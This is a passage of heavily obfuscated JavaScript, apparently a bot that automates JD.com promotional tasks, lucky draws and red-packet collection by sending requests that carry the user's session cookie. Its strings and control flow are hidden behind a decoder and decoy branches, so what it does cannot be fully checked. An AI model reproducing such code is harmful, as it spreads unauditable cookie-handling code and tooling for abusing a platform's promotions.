_0x3d851d[_0x5c3d('5d','p4$W')](h5activityIndex);continue;}break;}}else{resolve(data);}}catch(_0x4372c4){if(_0x3d851d[_0x5c3d('5e','OghG')](_0x3d851d['EkOxt'],_0x5c3d('5f','1xX6'))){$['logErr'](_0x4372c4);}else{console['log']('\x0a'+$['name']+_0x5c3d('60','7De#'));console[_0x5c3d('61','DI]G')](JSON['stringify'](err));}}}function showMsg(){console[_0x5c3d('62','oaTe')]('\x0a\x0a'+$[_0x5c3d('63','XpI[')]+_0x5c3d('64','J(]D')+$[_0x5c3d('65','GEp&')]+_0x5c3d('66','o7vD'));}async function doLuckDrawFun(){var _0x1678ca={'NYuqu':function(_0x4b1ea9,_0x7f2ae4){return _0x4b1ea9<_0x7f2ae4;},'FpxZh':function(_0x269f7c){return _0x269f7c();}};for(let _0x44f666=0x0;_0x1678ca[_0x5c3d('67','P3j6')](_0x44f666,0x3);_0x44f666++){await _0x1678ca[_0x5c3d('68','m)@n')](doLuckDrawEntrance);}}function doLuckDrawEntrance(){var _0x2d8ba8={'PtFMC':_0x5c3d('69','Ykax'),'JWjKW':function(_0x54a1c9,_0x1e41cf){return _0x54a1c9!==_0x1e41cf;},'WlnFb':_0x5c3d('6a','fCgc'),'mLXhv':function(_0x4d7ec2,_0x4aab2e){return _0x4d7ec2===_0x4aab2e;},'SLnRl':_0x5c3d('6b','o7vD'),'oyFMf':_0x5c3d('6c','8ye]'),'BCqMn':_0x5c3d('6d','OghG'),'dhJSE':'esyld','wQeAQ':function(_0x35e64a){return _0x35e64a();},'PJEil':'result','JYUuJ':_0x5c3d('6e','J(]D'),'HXwNK':_0x5c3d('6f','o7vD'),'DHYQj':_0x5c3d('70','o%Hs'),'WjKEm':'keep-alive','EKCYp':'application/json,\x20text/plain,\x20*/*','IoYgJ':'zh-cn','XYskb':'gzip,\x20deflate,\x20br'};return new Promise(_0x3d43ca=>{var _0x55ffbc={'JDPbl':_0x2d8ba8[_0x5c3d('71',')4(@')],'KIKDy':_0x2d8ba8[_0x5c3d('72','qi!x')]};const _0x441d8b={'url':_0x2d8ba8['HXwNK'],'headers':{'Host':'api.m.jd.com','Origin':_0x2d8ba8['DHYQj'],'Cookie':cookie,'Content-Length':'0','Connection':_0x2d8ba8[_0x5c3d('73','oaTe')],'Accept':_0x2d8ba8['EKCYp'],'User-Agent':_0x5c3d('74','OghG'),'Accept-Language':_0x2d8ba8[_0x5c3d('75','lR53')],'Referer':_0x5c3d('76','m)@n'),'Accept-Encoding':_0x2d8ba8[_0x5c3d('77','J(]D')]}};$[_0x5c3d('78','4%Cg')](_0x441d8b,async(_0x446f01,_0x352ba9,_0x41b7f)=>{if(_0x2d8ba8[_0x5c3d('79','XpI[')]===_0x2d8ba8[_0x5c3d('7a','$[C2')]){try{if(_0x446f01){if(_0x2d8ba8[_0x5c3d('7b',']loZ')](_0x5c3d('7c','@YZ@'),_0x2d8ba8[_0x5c3d('7d','sEZ[')])){console[_0x5c3d('7e','1xX6')](''+JSON[_0x5c3d('7f','DI]G')](_0x446f01));console[_0x5c3d('80','qt1B')]($[_0x5c3d('81','RJ[D')]+_0x5c3d('82','1xX6'));}else{const _0x4ec2ee=$[_0x5c3d('83','$lyO')][_0x5c3d('84','m0Q1')][_0x55ffbc['JDPbl']][_0x5c3d('85','s%P1')]||[];for(let _0x9bcdf9 of _0x4ec2ee){$[_0x5c3d('86','XpI[')]+=_0x9bcdf9[_0x55ffbc['KIKDy']];}if($[_0x5c3d('87','qt1B')])$[_0x5c3d('88','s2t@')]=$[_0x5c3d('89','wc[h')][_0x5c3d('8a','96*f')](0x2);}}else{if(_0x41b7f){if(_0x2d8ba8[_0x5c3d('8b','o%Hs')](_0x2d8ba8[_0x5c3d('8c','afg[')],_0x2d8ba8[_0x5c3d('8d','Jnb7')])){_0x41b7f=JSON[_0x5c3d('8e','GEp&')](_0x41b7f);if(_0x2d8ba8['mLXhv'](_0x41b7f['code'],'0')&&_0x41b7f['busiCode']==='0'){if(_0x2d8ba8[_0x5c3d('8f','GR%&')]!==_0x2d8ba8['BCqMn']){if(_0x41b7f[_0x5c3d('90','wc[h')]['luckyDrawData'][_0x5c3d('91','s2t@')]){if(_0x41b7f[_0x5c3d('92','$lyO')][_0x5c3d('93','piza')][_0x5c3d('94','qt1B')]){if(_0x2d8ba8['dhJSE']===_0x5c3d('95',']loZ')){url='https://api.m.jd.com/client.action?functionId='+functionId+_0x5c3d('96','96*f')+escape(JSON[_0x5c3d('97','$[C2')](body))+_0x5c3d('98','Vm#Z');}else{console[_0x5c3d('3a','pqb(')](_0x5c3d('99','sEZ[')+_0x41b7f[_0x5c3d('9a','oaTe')]['luckyDrawData']['quota']+'元');}}else{console['log'](_0x5c3d('9b','Vm#Z')+_0x41b7f[_0x5c3d('9c','p4$W')]['luckyDrawData']['discount']+'元:'+_0x41b7f[_0x5c3d('9d','@YZ@')]['luckyDrawData'][_0x5c3d('9e','96*f')]+','+_0x41b7f[_0x5c3d('9f','pqb(')][_0x5c3d('a0','wc[h')][_0x5c3d('a1','pqb(')]);}}else{console[_0x5c3d('a2','m)@n')](_0x5c3d('a3','P3j6'));}}else{console['log']('\x0a'+$[_0x5c3d('a4','qi!x')]+_0x5c3d('a5','f$@p'));console['log'](JSON[_0x5c3d('a6','piza')](_0x446f01));}}}else{console[_0x5c3d('a7','GR%&')]('\x0a'+$['name']+':\x20API查询请求失败\x20‼️‼️');console[_0x5c3d('a8','@YZ@')](JSON[_0x5c3d('a9','7De#')](_0x446f01));}}}}catch(_0x46dfee){$['logErr'](_0x46dfee,_0x352ba9);}finally{_0x2d8ba8[_0x5c3d('aa','o7vD')](_0x3d43ca);}}else{console[_0x5c3d('22','I($f')]('\x0a\x0a'+$[_0x5c3d('ab','P3j6')]+_0x5c3d('ac','piza')+$['discount']+_0x5c3d('ad','4%Cg'));}});});}async function doTask(){var _0x3b27d9={'BYFcq':function(_0x585d0c,_0x2f6147){return _0x585d0c===_0x2f6147;},'wMOyt':'biz_code','dHvqM':_0x5c3d('ae','8ye]'),'ebjCO':function(_0x340b23,_0x2227ce){return _0x340b23>_0x2227ce;},'dcBtf':function(_0x5a6316,_0x134112){return _0x5a6316!==_0x134112;},'jiLne':_0x5c3d('af','$lyO'),'YkaQH':function(_0xa77453,_0x3eea0a){return _0xa77453(_0x3eea0a);},'UMaLf':function(_0x1ac51a,_0x175b3c){return _0x1ac51a!==_0x175b3c;},'ZjWmx':function(_0x569396,_0x3c40aa){return _0x569396===_0x3c40aa;},'LUede':_0x5c3d('b0','7De#'),'UwoqG':_0x5c3d('b1','o%Hs'),'gtfAT':function(_0x2896a0,_0xc4df41){return _0x2896a0(_0xc4df41);},'EfNZp':function(_0x561911,_0x56651d){return _0x561911(_0x56651d);},'AxCVO':function(_0x513aff,_0x17f1d7){return _0x513aff===_0x17f1d7;},'cBjfa':function(_0x7fb95b){return _0x7fb95b();},'agwdz':function(_0x3d2b5b,_0x223593){return _0x3d2b5b(_0x223593);},'wrkWS':function(_0xd8d795,_0x2bb90d){return _0xd8d795!==_0x2bb90d;},'UIQYz':function(_0x41680a,_0x5516ec){return _0x41680a(_0x5516ec);},'VwJwy':function(_0x424a48,_0x2fb958){return _0x424a48(_0x2fb958);},'gytIv':_0x5c3d('b2','wc[h'),'VbRMK':'jslUq'};if($['taskHomePageData']&&_0x3b27d9[_0x5c3d('b3','OghG')]($[_0x5c3d('b4','dECe')][_0x5c3d('b5','n@nG')],0x0)){$[_0x5c3d('b6','SI!Z')]=$[_0x5c3d('b7','wc[h')][_0x5c3d('b8','lR53')][_0x5c3d('9c','p4$W')][_0x5c3d('b9','s%P1')];if($[_0x5c3d('ba',']loZ')]&&_0x3b27d9['ebjCO']($[_0x5c3d('bb','@YZ@')][_0x5c3d('bc','(S7p')],0x0)){if(_0x3b27d9[_0x5c3d('bd','oaTe')](_0x3b27d9[_0x5c3d('be','(S7p')],_0x3b27d9[_0x5c3d('bf','GR%&')])){resolve(data);}else{console[_0x5c3d('c0','s2t@')]('\x20\x20\x20\x20任务\x20\x20\x20\x20\x20状态\x20\x20红包是否领取');for(let _0x2c246a of $['taskInfo']){console['log'](_0x2c246a['title']['slice'](-0x6)+'\x20\x20\x20'+(_0x2c246a[_0x5c3d('c1','GEp&')]?_0x2c246a['alreadyReceivedCount']:0x0)+'/'+_0x2c246a[_0x5c3d('c2','4%Cg')]+_0x5c3d('c3','8ye]')+(_0x2c246a[_0x5c3d('c4','$[C2')]===0x4?'是':'否'));}for(let _0x9c974d of $[_0x5c3d('c5','(S7p')]){if(_0x3b27d9['BYFcq'](_0x9c974d[_0x5c3d('c6','fCgc')],0x4)){console['log']('['+_0x9c974d[_0x5c3d('c7','f$@p')]+_0x5c3d('c8','Jnb7'));}else if(_0x9c974d[_0x5c3d('c9','Vm#Z')]===0x3){await _0x3b27d9[_0x5c3d('ca','piza')](receiveTaskRedpacket,_0x9c974d[_0x5c3d('cb','pqb(')]);}else if(_0x9c974d['innerStatus']===0x2){if(_0x3b27d9['dcBtf'](_0x9c974d[_0x5c3d('cc','Vm#Z')],0x0)&&_0x3b27d9[_0x5c3d('cd','$[C2')](_0x9c974d[_0x5c3d('ce','P3j6')],0x1)){if(_0x3b27d9['ZjWmx'](_0x3b27d9['LUede'],_0x3b27d9[_0x5c3d('cf','4%Cg')])){data=JSON[_0x5c3d('d0','pqb(')](data);if(data&&data[_0x5c3d('d1','fCgc')]&&_0x3b27d9[_0x5c3d('d2',']G5@')](data[_0x5c3d('d3','n@nG')][_0x3b27d9['wMOyt']],0x0)){console[_0x5c3d('d4','GEp&')](_0x5c3d('d5','96*f')+data[_0x5c3d('d6','s%P1')][_0x5c3d('d7','qi!x')][_0x3b27d9['dHvqM']]+'元');}else{console['log']('领红包失败:'+JSON[_0x5c3d('d8',']loZ')](data));}}else{console['log']('开始做【'+_0x9c974d[_0x5c3d('d9','Vm#Z')]+_0x5c3d('da','OghG'));await _0x3b27d9['gtfAT'](active,_0x9c974d['taskType']);console['log'](_0x5c3d('db','GEp&')+_0x9c974d[_0x5c3d('dc','#g!5')]+_0x5c3d('dd','f$@p'));await _0x3b27d9[_0x5c3d('de','XpI[')](receiveTaskRedpacket,_0x9c974d[_0x5c3d('df','KKA&')]);}}else if(_0x3b27d9[_0x5c3d('e0','KKA&')](_0x9c974d[_0x5c3d('e1','s2t@')],0x1)){console[_0x5c3d('44','7De#')](_0x5c3d('e2','96*f')+_0x9c974d[_0x5c3d('e3','NJq]')]+_0x5c3d('e4','DI]G'));await _0x3b27d9['cBjfa'](doAppTask);}else{console[_0x5c3d('80','qt1B')]('['+_0x9c974d[_0x5c3d('e5','@YZ@')]+_0x5c3d('e6',')4(@'));}}else if(_0x3b27d9[_0x5c3d('e7','96*f')](_0x9c974d[_0x5c3d('e8','4%Cg')],0x4)){console['log'](_0x5c3d('e9',']loZ')+_0x9c974d[_0x5c3d('ea',']G5@')]+'】任务');await _0x3b27d9[_0x5c3d('eb',')4(@')](startTask,_0x9c974d[_0x5c3d('ec','96*f')]);if(_0x3b27d9['wrkWS'](_0x9c974d[_0x5c3d('ed','qt1B')],0x0)&&_0x3b27d9[_0x5c3d('ee',']G5@')](_0x9c974d[_0x5c3d('ef','$[C2')],0x1)){console[_0x5c3d('f0','dECe')](_0x5c3d('e2','96*f')+_0x9c974d[_0x5c3d('f1','QeIx')]+'】任务');await _0x3b27d9[_0x5c3d('f2','fCgc')](active,_0x9c974d[_0x5c3d('f3','sEZ[')]);console[_0x5c3d('f4','fCgc')](_0x5c3d('f5','s2t@')+_0x9c974d[_0x5c3d('f6','GR%&')]+_0x5c3d('f7',']loZ'));await _0x3b27d9[_0x5c3d('f8','piza')](receiveTaskRedpacket,_0x9c974d[_0x5c3d('f9','o%Hs')]);}else if(_0x9c974d[_0x5c3d('fa',')4(@')]===0x1){console['log'](_0x5c3d('e2','96*f')+_0x9c974d[_0x5c3d('d9','Vm#Z')]+_0x5c3d('fb','GR%&'));await _0x3b27d9[_0x5c3d('fc','DI]G')](doAppTask);}else{if(_0x3b27d9['AxCVO'](_0x3b27d9[_0x5c3d('fd','Vm#Z')],_0x3b27d9[_0x5c3d('fe','4%Cg')])){$[_0x5c3d('ff','dECe')](e,resp);}else{console['log']('['+_0x9c974d[_0x5c3d('100','Jnb7')]+']\x20功能未开发');}}}}}}}else{console['log'](_0x5c3d('101','J(]D')+JSON['stringify']($[_0x5c3d('102','pqb(')])+'\x0a');}}async function red(){var _0xf8d4f2={'ZqOHs':_0x5c3d('103','m0Q1'),'sWYWP':_0x5c3d('104','#g!5'),'pevEv':_0x5c3d('105','Ykax'),'twrQs':'status','JfIrO':function(_0x5b9dda,_0x8d031){return _0x5b9dda===_0x8d031;},'xNtaw':_0x5c3d('106','KKA&'),'pNUUX':'assistants','qmrMl':function(_0x342aa2,_0xa867b5){return _0x342aa2!==_0xa867b5;},'rpHeR':_0x5c3d('107','SI!Z'),'vcWmC':function(_0x2fedbc){return _0x2fedbc();},'ZJnnS':function(_0x2d851e,_0x175f4d){return _0x2d851e===_0x175f4d;},'CyXBV':_0x5c3d('108','4%Cg'),'hPldU':_0x5c3d('109','DI]G'),'VNiVk':'waitOpenTimes','xQQDd':function(_0x50d088,_0x1d7f5b){return _0x50d088>_0x1d7f5b;},'vVgRF':'bBLKh','cWZxl':function(_0x52fde0,_0x28f34a){return _0x52fde0<_0x28f34a;},'XCnJm':function(_0x4890ce,_0x2ff254){return _0x4890ce(_0x2ff254);},'eHsRq':_0x5c3d('10a','afg['),'damdx':_0x5c3d('10b','inWv'),'tSMtB':_0x5c3d('10c','SI!Z')};$['hasSendNumber']=0x0;$[_0x5c3d('10d',')4(@')]=0x0;if($[_0x5c3d('10e','qt1B')]&&$['h5activityIndex'][_0x5c3d('10f','SI!Z')]&&$[_0x5c3d('110','inWv')][_0x5c3d('111','$lyO')][_0xf8d4f2[_0x5c3d('112','SI!Z')]]){const _0x519517=$['h5activityIndex'][_0x5c3d('113','7De#')][_0xf8d4f2[_0x5c3d('114','8ye]')]][_0xf8d4f2[_0x5c3d('115','o7vD')]]||[];$[_0x5c3d('116','Jnb7')]=$['h5activityIndex'][_0x5c3d('117','qt1B')][_0xf8d4f2[_0x5c3d('118','P3j6')]][_0x5c3d('119','n@nG')];if($['h5activityIndex']['data']['result'][_0xf8d4f2[_0x5c3d('11a','o7vD')]]){$[_0x5c3d('11b','dECe')]=$[_0x5c3d('11c','XpI[')][_0x5c3d('11d','KKA&')][_0xf8d4f2['pevEv']][_0xf8d4f2[_0x5c3d('11e','lR53')]]['length']||0x0;}}if($[_0x5c3d('11f','o%Hs')]&&$[_0x5c3d('120','NJq]')]['data']&&_0xf8d4f2['JfIrO']($[_0x5c3d('121','qi!x')][_0x5c3d('122','dECe')][_0x5c3d('123',']G5@')],0x2712)){if(_0xf8d4f2[_0x5c3d('124','m)@n')](_0x5c3d('125','$[C2'),_0xf8d4f2[_0x5c3d('126','$lyO')])){$[_0x5c3d('127','Ykax')](e);}else{await _0xf8d4f2[_0x5c3d('128','QeIx')](h5launch);}}else if($[_0x5c3d('129','QeIx')]&&$[_0x5c3d('12a','o7vD')][_0x5c3d('12b','oaTe')]&&_0xf8d4f2[_0x5c3d('12c',')4(@')]($[_0x5c3d('12d','pqb(')]['data']['biz_code'],0x4e21)){const _0xdfe9b5=$[_0x5c3d('12e','96*f')][_0xf8d4f2[_0x5c3d('12f','o%Hs')]][_0xf8d4f2['pevEv']][_0xf8d4f2[_0x5c3d('130','n@nG')]]['id'];if(_0xdfe9b5)$[_0x5c3d('131','afg[')]['push'](_0xdfe9b5);console['log']('\x0a\x0a当前待拆红包ID:'+$['h5activityIndex'][_0xf8d4f2[_0x5c3d('132','P3j6')]][_0xf8d4f2['pevEv']][_0xf8d4f2[_0x5c3d('133','SI!Z')]]['id']+',进度:再邀'+$[_0x5c3d('134','Jnb7')][_0xf8d4f2[_0x5c3d('135','s2t@')]][_0xf8d4f2['pevEv']][_0xf8d4f2[_0x5c3d('136','lR53')]]+_0x5c3d('137',')4(@')+($['hasSendNumber']+0x1)+'个红包。当前已拆红包:'+$[_0x5c3d('138','afg[')]+_0x5c3d('139','qi!x')+$['h5activityIndex'][_0xf8d4f2[_0x5c3d('13a','(S7p')]][_0x5c3d('13b',')4(@')]['remainRedpacketNumber']+_0x5c3d('13c','qt1B')+$[_0x5c3d('13d',']loZ')]+'好友助力\x0a\x0a');const _0x3aaf94=$[_0x5c3d('13e','s2t@')][_0x5c3d('13f','8ye]')][_0xf8d4f2['pevEv']][_0xf8d4f2[_0x5c3d('140','o%Hs')]][_0xf8d4f2[_0x5c3d('141','96*f')]]||0x0;console['log'](_0x5c3d('142','lR53')+_0x3aaf94);if(_0xf8d4f2[_0x5c3d('143','f$@p')](_0x3aaf94,0x0)){if(_0xf8d4f2[_0x5c3d('144','piza')]!=='bBLKh'){console[_0x5c3d('145','n@nG')]('助力结果:'+data['data'][_0x5c3d('146','$[C2')][_0xf8d4f2[_0x5c3d('147','s%P1')]]);if(data[_0xf8d4f2[_0x5c3d('148','o7vD')]][_0xf8d4f2['pevEv']][_0xf8d4f2[_0x5c3d('149','4%Cg')]]===0x3)$['canHelp']=![];if(_0xf8d4f2[_0x5c3d('14a','pqb(')](data[_0xf8d4f2[_0x5c3d('14b','I($f')]][_0xf8d4f2[_0x5c3d('14c','f$@p')]][_0xf8d4f2[_0x5c3d('14d','m)@n')]],0x9))$[_0x5c3d('14e','XpI[')]=![];}else{for(let _0x1e176e=0x0;_0xf8d4f2[_0x5c3d('14f',']G5@')](_0x1e176e,new Array(_0x3aaf94)[_0x5c3d('150','piza')]('')[_0x5c3d('151','7De#')]);_0x1e176e++){if(!_0xdfe9b5)break;await _0xf8d4f2[_0x5c3d('152','7De#')](h5receiveRedpacket,_0xdfe9b5);await $[_0x5c3d('153','qi!x')](0x1f4);}}}}else if($['h5activityIndex']&&$[_0x5c3d('154','f$@p')][_0x5c3d('155',']G5@')]&&$[_0x5c3d('156','m)@n')][_0x5c3d('157','I($f')][_0xf8d4f2['eHsRq']]===0x4e22){if('qVBZh'!==_0xf8d4f2[_0x5c3d('158','fCgc')]){console[_0x5c3d('159','$[C2')]('\x0a'+$[_0x5c3d('15a','sEZ[')][_0x5c3d('15b','OghG')][_0xf8d4f2['tSMtB']]+'\x0a');}else{if(err){console[_0x5c3d('15c','OghG')]('\x0a'+$[_0x5c3d('15d','$lyO')]+_0x5c3d('15e','SI!Z'));console[_0x5c3d('d4','GEp&')](JSON['stringify'](err));}else{$[_0x5c3d('15f','J(]D')]=JSON[_0x5c3d('d0','pqb(')](data);}}}}function taskHomePage(){var _0x18f4cb={'BcQCf':function(_0x59df51,_0xb12e4d){return _0x59df51!==_0xb12e4d;},'KxnUO':_0x5c3d('160','Vm#Z'),'VCZWx':function(_0x247d50,_0x302d75){return _0x247d50!==_0x302d75;},'tfLwG':_0x5c3d('161','p4$W'),'NwCYs':function(_0x308b76,_0xa26687){return _0x308b76===_0xa26687;},'SiEKp':_0x5c3d('162','oaTe'),'hzvXy':'qIscY','Cmvmt':_0x5c3d('163','QeIx'),'pTtUQ':function(_0x15fc99,_0x4c2bb2){return _0x15fc99(_0x4c2bb2);},'gFshu':function(_0x57fd53,_0x1b0122){return _0x57fd53(_0x1b0122);},'jGpTc':_0x5c3d('164','s%P1'),'JmYGW':'pIuGm','SUvrz':function(_0x4bab97,_0x3de7a8,_0x1beb27){return _0x4bab97(_0x3de7a8,_0x1beb27);}};return new Promise(_0x58f1a5=>{var _0x4c7fe3={'tQgsP':function(_0x133a89){return _0x133a89();},'dUkhn':function(_0x267817,_0x418364){return _0x18f4cb[_0x5c3d('165','n@nG')](_0x267817,_0x418364);}};if(_0x18f4cb[_0x5c3d('166','QeIx')](_0x18f4cb[_0x5c3d('167','oaTe')],_0x18f4cb['JmYGW'])){$[_0x5c3d('168','wc[h')](_0x18f4cb[_0x5c3d('169','o7vD')](taskUrl,arguments['callee'][_0x5c3d('16a','o%Hs')][_0x5c3d('16b','DI]G')](),{'clientInfo':{}}),(_0x1c6bdd,_0x356597,_0x518e89)=>{if(_0x18f4cb[_0x5c3d('16c','s2t@')](_0x18f4cb['KxnUO'],_0x18f4cb['KxnUO'])){_0x4c7fe3[_0x5c3d('16d','@YZ@')](_0x58f1a5);}else{try{if(_0x18f4cb[_0x5c3d('16e','qi!x')](_0x18f4cb[_0x5c3d('16f','fCgc')],_0x18f4cb[_0x5c3d('170','(S7p')])){url=_0x5c3d('171','oaTe')+functionId+_0x5c3d('172','sEZ[')+_0x4c7fe3[_0x5c3d('173','qt1B')](escape,JSON[_0x5c3d('174','P3j6')](body))+_0x5c3d('175','#g!5');}else{if(_0x1c6bdd){if(_0x18f4cb[_0x5c3d('176','1xX6')](_0x18f4cb[_0x5c3d('177','wc[h')],'jIvjU')){console[_0x5c3d('178','$lyO')]('\x0a'+$[_0x5c3d('16','dECe')]+_0x5c3d('179',']G5@'));console[_0x5c3d('17a','KKA&')](JSON[_0x5c3d('17b','f$@p')](_0x1c6bdd));}else{if(_0x518e89[_0x5c3d('17c','1xX6')][_0x5c3d('17d','KKA&')][_0x5c3d('17e',')4(@')]){console['log'](_0x5c3d('17f','#g!5')+_0x518e89[_0x5c3d('105','Ykax')][_0x5c3d('180','QeIx')]['quota']+'元');}else{console[_0x5c3d('15c','OghG')](_0x5c3d('181','pqb(')+_0x518e89['result'][_0x5c3d('182','#g!5')][_0x5c3d('183','m)@n')]+'元:'+_0x518e89[_0x5c3d('184','piza')][_0x5c3d('185','RJ[D')][_0x5c3d('186','GR%&')]+','+_0x518e89[_0x5c3d('187','#g!5')][_0x5c3d('188','dECe')][_0x5c3d('189','inWv')]);}}}else{if(_0x18f4cb[_0x5c3d('18a','8ye]')](_0x18f4cb[_0x5c3d('18b',']loZ')],_0x18f4cb[_0x5c3d('18c','XpI[')])){console[_0x5c3d('18d','SI!Z')](_0x5c3d('18e',']G5@')+_0x518e89[_0x5c3d('18f','4%Cg')][_0x5c3d('190','DI]G')][_0x5c3d('191','Vm#Z')]+'元');}else{$[_0x5c3d('192','s2t@')]=JSON[_0x5c3d('193','96*f')](_0x518e89);}}}}catch(_0x16847c){$[_0x5c3d('194','lR53')](_0x16847c,_0x356597);}finally{_0x18f4cb[_0x5c3d('195','#g!5')](_0x58f1a5,_0x518e89);}}});}else{console[_0x5c3d('80','qt1B')]('\x0a'+$[_0x5c3d('196','lR53')]+_0x5c3d('197','s2t@'));console[_0x5c3d('198','#g!5')](JSON[_0x5c3d('199','s%P1')](err));}});}function startTask(_0x4ac69a){var _0x20180a={'KtUKO':function(_0x14d335,_0x250ca3){return _0x14d335!==_0x250ca3;},'ohdvi':_0x5c3d('19a','OghG'),'zCWjv':function(_0xb39e7,_0x5c31ea){return _0xb39e7===_0x5c31ea;},'YdPFO':_0x5c3d('19b','piza'),'qbUut':function(_0x338fe6,_0x117ecb){return _0x338fe6(_0x117ecb);},'VYCPR':'VktFU','SbFsC':_0x5c3d('19c','$[C2'),'nSnHt':function(_0xcfa2,_0x78487e){return _0xcfa2+_0x78487e;}};let _0x3d654a={'taskType':_0x4ac69a};_0x3d654a[_0x20180a[_0x5c3d('19d','afg[')]]=$[_0x5c3d('19e','#g!5')]($['md5'](_0x20180a[_0x5c3d('19f','afg[')]('j',JSON[_0x5c3d('1a0','4%Cg')](_0x3d654a))+'D'));return new Promise(_0x60cd4e=>{if(_0x20180a['VYCPR']===_0x5c3d('1a1','s2t@')){console[_0x5c3d('f4','fCgc')]('---具体任务详情---'+JSON[_0x5c3d('1a2','NJq]')](getTaskDetailForColorRes));}else{$[_0x5c3d('1a3','NJq]')](taskUrl(arguments['callee'][_0x5c3d('1a4','#g!5')][_0x5c3d('1a5','7De#')](),_0x3d654a),(_0x1f5a73,_0x1d7290,_0x3d654a)=>{try{if(_0x20180a[_0x5c3d('1a6','$[C2')]('sfeuv',_0x20180a['ohdvi'])){$['taskHomePageData']=JSON['parse'](_0x3d654a);}else{if(_0x1f5a73){console[_0x5c3d('1a7','m0Q1')]('\x0a'+$[_0x5c3d('1a8','I($f')]+_0x5c3d('1a9','afg['));console['log'](JSON[_0x5c3d('1aa','qi!x')](_0x1f5a73));}else{console[_0x5c3d('3a','pqb(')]('领取任务:'+_0x3d654a);_0x3d654a=JSON[_0x5c3d('1ab','fCgc')](_0x3d654a);}}}catch(_0x5baedf){$['logErr'](_0x5baedf,_0x1d7290);}finally{if(_0x20180a[_0x5c3d('1ac','GR%&')](_0x20180a[_0x5c3d('1ad','KKA&')],_0x20180a[_0x5c3d('1ae','p4$W')])){_0x20180a[_0x5c3d('1af','s2t@')](_0x60cd4e,_0x3d654a);}else{console[_0x5c3d('f4','fCgc')]('发起助力红包\x20失败:'+JSON['stringify'](_0x3d654a));}}});}});}async function active(_0x2bea66){var _0x353a1a={'SXOvX':function(_0x4e6a3a){return _0x4e6a3a();},'oJnKs':function(_0x276141,_0x7435e){return _0x276141(_0x7435e);},'eNXrL':function(_0xbb1d8c,_0x325883){return _0xbb1d8c===_0x325883;},'TGAyD':function(_0xb873d2,_0x56b43d){return _0xb873d2===_0x56b43d;},'NuVDs':_0x5c3d('1b0','7De#'),'cqjXG':_0x5c3d('1b1','J(]D'),'UFdUs':'ZPIlv','puRgv':function(_0x3055c9,_0x245b8b,_0x4c9f00){return _0x3055c9(_0x245b8b,_0x4c9f00);},'rHPgz':_0x5c3d('1b2','m)@n')};const _0x39c8d9=await _0x353a1a[_0x5c3d('1b3','s%P1')](getTaskDetailForColor,_0x2bea66);if(_0x39c8d9&&_0x353a1a[_0x5c3d('1b4','Jnb7')](_0x39c8d9[_0x5c3d('1b5',')4(@')],0x0)){if(_0x39c8d9[_0x5c3d('117','qt1B')]&&_0x39c8d9['data']['result']){const {advertDetails}=_0x39c8d9['data'][_0x5c3d('17c','1xX6')];for(let _0x5611dd of advertDetails){if(_0x353a1a[_0x5c3d('1b6','#g!5')](_0x353a1a[_0x5c3d('1b7','Vm#Z')],_0x5c3d('1b8','96*f'))){await $[_0x5c3d('1b9','Vm#Z')](0x3e8);if(_0x5611dd['id']&&_0x5611dd[_0x5c3d('1ba','afg[')]===0x0){if(_0x353a1a['cqjXG']===_0x353a1a['UFdUs']){console['log'](_0x5c3d('1bb','8ye]')+data);data=JSON['parse'](data);}else{await _0x353a1a['puRgv'](taskReportForColor,_0x2bea66,_0x5611dd['id']);}}}else{_0x353a1a['SXOvX'](resolve);}}}else{console[_0x5c3d('22','I($f')](_0x5c3d('1bc','pqb('));$[_0x5c3d('1bd',']loZ')](''+$[_0x5c3d('1be','f$@p')],'',_0x5c3d('1bf','qt1B'));if($[_0x5c3d('1c0','pqb(')]())await notify[_0x5c3d('1c1','NJq]')]($[_0x5c3d('27','$[C2')]+_0x5c3d('1c2','SI!Z')+$[_0x5c3d('1c3','o%Hs')]+_0x5c3d('1c4','oaTe')+$[_0x5c3d('1c5','7De#')],_0x5c3d('1c6','J(]D'));}}else{if(_0x353a1a[_0x5c3d('1c7',']loZ')](_0x353a1a[_0x5c3d('1c8','GR%&')],_0x5c3d('1c9','s%P1'))){console['log'](_0x5c3d('1ca','#g!5')+JSON[_0x5c3d('1cb','(S7p')](_0x39c8d9));}else{console[_0x5c3d('1cc',')4(@')]('\x0a'+$['name']+_0x5c3d('1cd','qt1B'));console['log'](JSON[_0x5c3d('1ce','96*f')](err));}}}function getTaskDetailForColor(_0x2c4c7b){var _0x2682ae={'giQyg':_0x5c3d('1cf','o%Hs'),'SlFpb':function(_0x578895,_0x5dfb99){return _0x578895===_0x5dfb99;},'znQly':'MCILP','ejnGm':_0x5c3d('1d0','I($f'),'vXznd':function(_0x49d202,_0x3077b1){return _0x49d202===_0x3077b1;},'dbFxk':_0x5c3d('1d1','Jnb7'),'QEckC':_0x5c3d('1d2','afg['),'VtrCf':function(_0x1ffb7f,_0x298bd0){return _0x1ffb7f(_0x298bd0);},'nbYTc':function(_0x5beb60,_0x5a89e8){return _0x5beb60!==_0x5a89e8;},'GSsrS':_0x5c3d('1d3','fCgc'),'wrfDD':'hghwF','nmAsw':function(_0x5930f8,_0x4a8582,_0xfc044c){return _0x5930f8(_0x4a8582,_0xfc044c);}};const _0x574b60={'clientInfo':{},'taskType':_0x2c4c7b};return new Promise(_0x2f2f57=>{if(_0x2682ae[_0x5c3d('1d4','wc[h')](_0x2682ae['GSsrS'],_0x2682ae[_0x5c3d('1d5','SI!Z')])){$['post'](_0x2682ae['nmAsw'](taskUrl,arguments['callee'][_0x5c3d('1d6','4%Cg')][_0x5c3d('1d7','o7vD')](),_0x574b60),(_0x167487,_0x312813,_0x574b60)=>{if(_0x2682ae[_0x5c3d('1d8','7De#')]===_0x2682ae[_0x5c3d('1d9','Ykax')]){try{if(_0x2682ae[_0x5c3d('1da','qi!x')](_0x2682ae['znQly'],_0x2682ae['ejnGm'])){if(_0x167487){console[_0x5c3d('80','qt1B')]('\x0a'+$[_0x5c3d('1db',']loZ')]+_0x5c3d('1dc','dECe'));console[_0x5c3d('22','I($f')](JSON[_0x5c3d('1aa','qi!x')](_0x167487));}else{_0x574b60=JSON[_0x5c3d('1dd','s%P1')](_0x574b60);}}else{if(_0x167487){console['log']('\x0a'+$[_0x5c3d('1de','sEZ[')]+':\x20API查询请求失败\x20‼️‼️');console['log'](JSON[_0x5c3d('7f','DI]G')](_0x167487));}else{if(_0x2682ae[_0x5c3d('1df','sEZ[')](_0x2682ae[_0x5c3d('1e0','Vm#Z')],_0x2682ae[_0x5c3d('1e1','96*f')])){_0x574b60=JSON[_0x5c3d('1e2','Vm#Z')](_0x574b60);}else{$[_0x5c3d('1e3','m0Q1')]();}}}}catch(_0x3f13d7){if(_0x2682ae['vXznd']('On